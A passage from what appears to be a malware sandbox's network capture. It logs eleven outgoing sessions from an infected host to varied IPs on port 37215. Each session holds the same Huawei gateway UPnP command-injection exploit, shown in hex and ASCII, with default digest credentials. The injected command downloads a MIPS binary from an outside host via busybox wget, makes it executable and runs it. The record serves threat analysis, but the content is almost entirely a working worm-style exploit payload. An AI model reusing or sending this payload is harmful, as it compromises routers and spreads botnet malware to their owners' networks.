6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.13	40856	41.213.236.151	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.704449892 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.13	49644	41.150.3.195	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.705524921 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.13	54022	156.142.125.129	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.706857920 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.13	52190	156.122.95.109	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.707895994 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.13	33708	41.0.196.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.709296942 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.13	50128	41.228.119.118	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.710308075 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.13	56870	41.91.70.189	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.711502075 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.13	56980	156.212.245.105	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.712763071 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.13	50702	156.244.102.173	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.713902950 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.13	46712	197.57.43.253	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.715141058 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.13	42970	156.28.97.254	37215

Timestamp	Bytes transferred	Direction	Data
